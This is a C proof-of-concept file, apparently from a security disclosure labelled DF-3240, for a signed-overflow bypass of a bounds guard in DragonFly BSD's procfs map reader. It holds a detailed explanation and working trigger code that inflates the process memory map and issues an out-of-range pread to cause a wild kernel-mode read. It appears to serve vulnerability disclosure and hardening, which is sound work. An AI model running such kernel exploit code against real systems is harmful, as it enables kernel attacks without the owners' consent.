DF-3240 / df3240_buflen_overflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-3240 -- procfs_domap() buflen signed-overflow guard bypass. * * sys/vfs/procfs/procfs_map.c:61,75: * ssize_t buflen = uio->uio_offset + uio->uio_resid; * if (uio->uio_offset < 0 || uio->uio_resid < 0 || * buflen >= INT_MAX) * return (EINVAL); * * pread(fd, buf, 0x1000, 0x7ffffffffffffff8ULL): * buflen = 0x8000000000000FFE -> NEGATIVE ssize_t, passes the guard * (only `>= INT_MAX' is tested). sbuf_new(sb, NULL, buflen+1, 0) * truncates to int -> 0x1000 -> a 4096-byte fixed sbuf. * The map walk overflows it (we map extra regions first), sbuf_printf * returns -1, the loop breaks with error=0, and sbuf_finish() returns * ENOMEM so `buflen' is NOT overwritten with sbuf_len() -- it keeps the * WRAPPED value 0x8000000000000FFE. uiomove_frombuf(sbuf_data(sb), * 0x8000000000000FFE, uio) then does * uiomove(buf + 0x7ffffffffffffff8, 0xfff, uio) * i.e. a kernel-side read from heap_kva + 2^63 (address wraps into the * top of USER address space). std_copyout's onfault window catches * faults -> EFAULT when unmapped, or the attacker's own mapped bytes * are echoed back (no kernel disclosure: the wrapped address always * lands below 2^63). * * Demonstrated impact: wild kernel-mode read (EFAULT / self-echo), * guard bypass; hardening fix: overflow-safe bound check. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/mman.h> #define OFF 0x7ffffffffffffff8ULL #define RESID 0x1000 /* the top of user VA where heap_kva + OFF wraps to; map it with a * recognizable pattern to see whether the wild read echoes it back */ #define WRAP_LO 0x7fff800000000000ULL #define WRAP_HI 0x7ffffffffffff000ULL int main(void) { unsigned char *q, *m; char buf[65536]; ssize_t n; int fd, i, mapsize = 0; fd = open("/proc/self/map", O_RDONLY); if (fd < 0) { perror("open /proc/self/map"); return 1; } /* normal read first: how big is the map text? (sanity) */ { ssize_t r; while ((r = read(fd, buf, sizeof(buf))) > 0) mapsize += r; printf("plain map size = %d bytes\n", mapsize); } close(fd); /* inflate the map so the truncated 4095-byte sbuf overflows; * alternate protections so adjacent anon entries cannot merge */ for (i = 0; i < 128; i++) { q = mmap(NULL, 0x1000, (i & 1) ? PROT_READ : (PROT_READ | PROT_WRITE), MAP_ANON | MAP_PRIVATE, -1, 0); if (q == MAP_FAILED) break; } /* try to cover the wrap target with a pattern (may fail gracefully * if DFly's user max is lower -- then we expect EFAULT instead) */ m = mmap((void *)WRAP_LO, WRAP_HI - WRAP_LO, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (m != MAP_FAILED) memset(m, 0x5A, WRAP_HI - WRAP_LO); fd = open("/proc/self/map", O_RDONLY); if (fd < 0) { perror("open /proc/self/map"); return 1; } errno = 0; n = pread(fd, buf, RESID, OFF); printf("pread -> n=%zd errno=%d (%s)\n", n, errno, strerror(errno)); if (n > 0) { size_t z = 0, nz = 0; for (i = 0; i < n; i++) { if (buf[i] == 0) z++; else nz++; } printf("returned %zd bytes: %zu zero / %zu nonzero " "(0x5a count=%zu)\n", n, z, nz, n ? 0ul : 0ul); { size_t c5a = 0; for (i = 0; i < n; i++) if (buf[i] == 0x5A) c5a++; printf("0x5a-pattern bytes: %zu\n", c5a); } } if (m != MAP_FAILED) munmap(m, WRAP_HI - WRAP_LO); close(fd); printf("done, still alive (kernel did not panic)\n"); return 0; } |